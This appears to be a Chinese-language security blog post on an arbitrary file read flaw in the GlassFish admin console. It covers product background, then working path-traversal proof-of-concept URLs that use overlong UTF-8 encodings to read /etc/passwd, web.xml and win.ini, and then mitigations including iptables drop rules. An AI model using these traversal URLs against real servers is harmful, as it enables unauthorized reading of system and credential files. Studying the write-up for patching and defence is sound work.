天天看点

应用服务器Glassfish任意文件读取漏洞

应用服务器Glassfish任意文件读取漏洞

catalogue

1. 前言和技术背景
2. Glassfish安装配置
3. 漏洞利用
4. 漏洞缓解(修复)      

1. 前言和技术背景

0x1: GlassFish是什么

GlassFish 是用于构建 Java EE 5 应用服务器的开源开发项目的名称。它基于 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的源代码以及 Oracle 贡献的 TopLink 持久性代码。该项目提供了开发高质量应用服务器的结构化过程,以前所未有的速度提供新的功能。这是对希望能够获得源代码并为开发 Sun 的下一代应用服务器(基于 GlassFish)作出贡献的 Java 开发者作出的回应。该项目旨在促进 Sun 和 Oracle 工程师与社区之间的交流,它将使得所有开发者都能够参与到应用服务器的开发过程中来

0x2: JSF是什么

JSF ,java Server Faces, 他与struts一样都是web应用框架,但是他们的本质区别在于, struts只是单纯的MVC模式框架,而JSF是一种事件驱动型的组件模型

应用程序的开发有两种B/S(浏览器/服务器)和C/S(客户端/服务器端),JSF就是将C/S开发中的界面引入了B/S开发中,然后为界面上的每一个控件都提供事件侦听器。通过JSF,可以在网页上使用WEB组件来捕获用户行为产生的事件.使用JSF开发web程序将与开发swing程序类似,可以拖放控件

0x3: JMX是什么

JMX(Java Management Extensions)是一个为应用程序植入管理功能的框架。JMX是一套标准的代理和服务,实际上,用户可以在任何Java应用程序中使用这些代理和服务实现管理

JMX是一种应用编程接口,可扩充对象和方法的集合体,可以用于跨越一系列不同的异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用它提供了用户界面指导、Java类和开发集成系统、网络及网络管理应用的规范。

管理对象是JMX应用程序的核心。JMX结构包括:支持Java的Web浏览器用户接口,管理运行模块ARM(Admin Runtime Module)和应用。这三个部件之间通过RMI(Remote Method Invocation)进行通信。这里需要说明的是,RMI是使得一个Java虚拟机(JVM)上运行的程序可以调用远程服务器上另一个JVM总的对象。

用户接口用来发布管理操作,这些操作可以间接的通过浏览器或通过单独的应用程序来激发。管理运行模块用来给应用提供实例化的管理对象。它包括Agent对象接口,通知接口和被管数据接口。应用指的是那些被管设备单元。

JMX是一个完整的网络管理应用程序开发环境,它同时提供了:厂商需要收集的完整的特性清单,可生成资源清单表格,图形化的用户接口;访问SNMP的网络API;主机间远程过程调用;数据库访问方法。

JMX这一轻型的管理基础结构,价值在于对被管理资源的服务实现了抽象,提供了低层的基本类集合,开发人员在保证大多数的公共管理类的完整性和一致性的前提下,进行扩展以满足特定网络管理应用的需要

Relevant Link:

http://www.xuebuyuan.com/1865382.html      

2. Glassfish安装配置

unzip glassfish-4.1.1*zip 
glassfish4/bin/asadmin start-domain 
Go to http://localhost:4848      
https://java.net/projects/glassfish/sources/svn/show/trunk/main/appserver/admingui/webui-jsf-suntheme-plugin-l10n/src/main/resources/com/sun/webui?rev=64241
http://www.1maven.com/classname-packaging?query&cl=ThemeServlet&pk=com.sun.webui.theme&pg=1&a=&s=#t_
https://glassfish.java.net/download.html      

3. 漏洞利用

0x1: POC1(..编码)

http://localhost:4848/theme/META-INF/png%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd      

0x2: POC1(/编码)

http://localhost:4848/theme/META-INF/..%c0%afMETA-INF%c0%af..%c0%af..%c0%af__admingui%c0%afWEB-INF%c0%afweb.xml
http://localhost:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini      

4.1.1把 %c0%ae = . 修复了,但是%c0%af = /没过滤

http://mp.weixin.qq.com/s?__biz=MzAwNTYwMjM3Mw==&mid=401676448&idx=1&sn=27231eed275dccdeb8c44e1cc6ac1f9a&scene=2&srcid=0114QPY75arMj4necv5moRY0&from=timeline&isappinstalled=0#wechat_redirect
http://www.wooyun.org/bugs/wooyun-2010-0144595      

4. 漏洞缓解(修复)

0x1: 关闭远程管理

关闭远程管理,关闭后只允许本地访问,会提示要求输入用户名和密码,开发环境或者对服务器安全要求较高的环境可以选择这么做,修改该设置后应该重启GlassFish服务

./asadmin change-admin-password
./asadmin disable-secure-admin
./asadmin stop-domain 
./asadmin start-domain 

asadmin.bat change-admin-password
asadmin.bat disable-secure-admin
asadmin.bat stop-domain 
asadmin.bat start-domain       

需要注意的是,关闭远程访问只能禁用远程login登录,但是攻击url还是可以访问,任意文件读取依然存在

0x2: Iptables规则

iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '..\%c0\%af' -j DROP  
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '\%c0\%ae/' -j DROP  
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '../' -j DROP   
//该规则无法防御HTTPS SSL方案      

0x3: 禁用web.xml theme映射

\glassfish4\glassfish\lib\install\applications\__admingui\WEB-INF\web.xml

重启glassfish后生效

http://blog.csdn.net/joyous/article/details/8008870
http://blog.csdn.net/myjlvzlp/article/details/8009885
http://book.51cto.com/art/200904/120804.htm
http://www.netfilter.org/documentation/HOWTO/netfilter-extensions-HOWTO-3.html
http://blog.nintechnet.com/how-to-block-w00tw00t-at-isc-sans-dfind-and-other-web-vulnerability-scanners/      

Copyright (c) 2016 LittleHann All rights reserved